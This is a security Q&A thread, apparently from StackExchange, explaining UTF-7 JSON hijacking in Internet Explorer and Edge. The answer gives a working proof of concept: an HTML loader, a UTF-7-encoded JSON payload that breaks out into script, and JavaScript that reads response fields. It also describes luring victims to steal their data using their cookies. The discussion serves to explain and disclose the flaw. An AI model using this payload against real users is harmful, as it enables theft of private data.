0

After some research, I saw an answer on StackOverflow saying that it's still possible to perform a UTF-7 JSON hijack using Microsoft IE and Edge browsers. If yes how can it be done? I really need an explanation about this or a working proof of concept.

4
  • 1
    It would help if you referenced the actual question you are talking about. If you mean this question: stackoverflow.com/questions/16289894/… then the accepted answer has a PoC.
    – schroeder
    Commented Apr 21, 2016 at 4:11
  • @schroeder I think the OP is talking about UTF-7 XSS: security.stackexchange.com/questions/47489/…, since he mentioned UTF-7. The link you found is about JSON hijacking by modifying prototypes. Commented Oct 1, 2016 at 3:41
  • @FranklinYu but that question is not on StackOverflow ...
    – schroeder
    Commented Oct 1, 2016 at 6:31
  • @schroeder Yes, I didn't mean that the question I linked was the one OP encountered. I meant he might be searching for such a topic. I can't find anything about the topic on StackOverflow, and I think OP might benefit reading the Q&A. Anyway, who knows, OP hasn't shown up since August. Commented Oct 1, 2016 at 17:35

1 Answer 1

3

I assume you're referring to this comment, "Microsofts IE and Edge are still vulnerable to the UTF-7 JSON Hijacking though."

Following the instructions from this 2011 blog post on JSON Hijacking, I reproduced the problem with Microsoft Edge 20 and IE11.

Create an HTML file like this:

<html>
<body>
<script src="x.json" charset="UTF-7"></script>

And an x.json file like this:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

In the UTF-7 encoding, that apparently decodes to:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

And then, given the power to execute JavaScript in the context of the response, you can write more/other evil code, e.g. code to read the rest of the response. For example:

[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];

Read the blog post for more details about the implications of this, but the idea is that you'd get a user to open a page on your site, make this script request (which would use the victim's cookie credentials), and then JSON hijack it to read a partial list of the user's friends.

2

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .